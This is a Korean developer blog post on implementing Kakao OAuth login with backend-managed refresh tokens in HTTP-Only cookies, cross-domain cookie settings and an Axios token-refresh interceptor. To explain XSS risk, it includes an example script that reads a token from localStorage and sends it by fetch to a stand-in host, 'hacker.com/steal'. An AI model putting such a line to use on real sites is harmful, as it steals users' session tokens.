
프론트엔드 개발을 하면서 OAuth 2.0 인증과 토큰 관리는 피할 수 없는 부분입니다.
특히 소셜 로그인을 구현할 때 보안과 사용자 경험을 모두 고려해야 하는데,
이번buddy-guard프로젝트에서는 이전과 다른 접근 방식을 통해 더 나은 해결책을 찾을 수 있었습니다.
OAuth 2.0은 사용자가 비밀번호를 제공하지 않고도 애플리케이션에 접근 권한을 부여할 수 있는 인증 프로토콜입니다.
2012년에 발표된 OAuth 2.0은 이전 버전의 복잡성을 개선하고, 모바일 애플리케이션 등 다양한 시나리오를 지원하도록 설계되었습니다.
예를 들어 카카오 로그인을 생각해보면,
1. 사용자 편의성: 새로운 회원가입 없이 기존 카카오 계정으로 로그인할 수 있습니다.
2. 보안: 애플리케이션에 직접 비밀번호를 제공하지 않습니다.
3. 권한 관리: 사용자가 제공할 정보를 선택적으로 동의할 수 있습니다.
이 프로젝트에서는 사용자 인증을 위해 OAuth 로그인 방식을 사용했습니다. (카카오 소셜 로그인을 사용하였습니다.)
이전 프로젝트와 비교해, 이번에는 백엔드 주도 방식을 채택해 보안성을 강화했으며, 사용자 경험을 최적화하기 위해 Axios 인터셉터로 토큰 관리를 자동화했습니다.
// 카카오 로그인 버튼 클릭 시
const handleKakaoLogin = () => {
window.location.href = `https://kauth.kakao.com/oauth/authorize?
client_id=${CLIENT_ID}&
redirect_uri=${REDIRECT_URI}&
response_type=code`;
};
// 리다이렉트 URI에서 코드 추출
const handleOAuthRedirect = () => {
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
sendCodeToBackend(code);
}
};
const sendCodeToBackend = async (code) => {
try {
const response = await axios.post('/api/auth/kakao', { code });
const { accessToken, refreshToken } = response.data;
// 두 토큰 모두 로컬스토리지에 저장
localStorage.setItem('accessToken', accessToken);
localStorage.setItem('refreshToken', refreshToken);
} catch (error) {
console.error('Auth failed:', error);
}
};
백엔드에서 리프레시 토큰을 관리하며, 인증 및 토큰 관리를 중앙화했습니다.
// 카카오 로그인 버튼 클릭 시
const handleKakaoLogin = () => {
window.location.href = 'http://api.example.com/auth/kakao/login';
};
// 메인 페이지로 리다이렉트된 후 초기 액세스 토큰 발급
const handleLoginSuccess = async () => {
try {
const response = await authAxiosInstance.post('/auth/token');
const { accessToken } = response.data;
localStorage.setItem('accessToken', accessToken);
} catch (error) {
console.error('Initial token fetch failed:', error);
}
};

처음에는 단순히 "프론트엔드에서 접근할 수 없는 보안 쿠키"로만 이해했지만,
실제로는 더 깊은 의미를 가지고 있었습니다.
1) 보안 메커니즘으로서의 역할
2) XSS(Cross-Site Scripting) 공격 방지
// XSS 공격 예시: localStorage의 취약점
const maliciousScript = `
const token = localStorage.getItem('refreshToken');
fetch('https://hacker.com/steal', {
method: 'POST',
body: token
});
`;
// ✨ HTTP-Only 쿠키는 JavaScript로 접근 불가능!
// ✨ document.cookie로 읽을 수 없어 안전!
프론트엔드와 백엔드의 도메인이 달라서, 쿠키가 제대로 전송되지 않는 문제가 발생했습니다.
// 프론트엔드 설정
const axiosInstance = axios.create({
baseURL: 'API_BASE_URL',
withCredentials: true // 크로스 도메인 쿠키 전송을 위해 필수
});
// 프론트엔드 (localhost:5173)
// ❌ 기본적으로는 쿠키가 전송되지 않음
const api = axios.create({
baseURL: 'http://localhost:8080'
});
// ✅ withCredentials 설정으로 해결
const api = axios.create({
baseURL: 'http://localhost:8080',
withCredentials: true // ✨크로스 도메인 쿠키 전송을 위해 필수!
});
Axios 인터셉터는 HTTP 요청/응답을 가로채서 처리할 수 있는 기능입니다.
// 액세스 토큰 만료 시 자동 갱신을 위한 인터셉터
axiosInstance.interceptors.response.use(
(response) => response,
async (error) => {
if (error.response?.status === 401) {
try {
const response = await authAxiosInstance.post('/auth/refresh');
const newToken = response.data.accessToken;
localStorage.setItem('accessToken', newToken);
error.config.headers.Authorization = `Bearer ${newToken}`;
return axiosInstance(error.config);
} catch (refreshError) {
window.location.href = '/login';
return Promise.reject(refreshError);
}
}
return Promise.reject(error);
}
);
코드 중앙화
자동화된 에러 처리
처음 프로젝트를 구현했을 때, 최초 로그인 시 Access Token이 없는 상태에서
1. 토큰 발급 API 호출
2. 인터셉터가 401 에러를 감지
3. 다시 토큰 재발급을 시도
4. 무한 루프 발생
보안성 강화
책임 분리
사용자 경험
에러 처리
이번 프로젝트를 통해 단순한 기능 구현을 넘어, 웹 보안의 중요성과 실제 구현 시의 고려사항들을 깊이 있게 이해할 수 있었습니다.
특히 HTTP-Only 쿠키와 CORS 설정을 통한 보안 강화, Axios 인터셉터를 활용한 사용자 경험 개선 등, 보안과 UX의 균형을 맞추는 것의 중요성을 배웠습니다.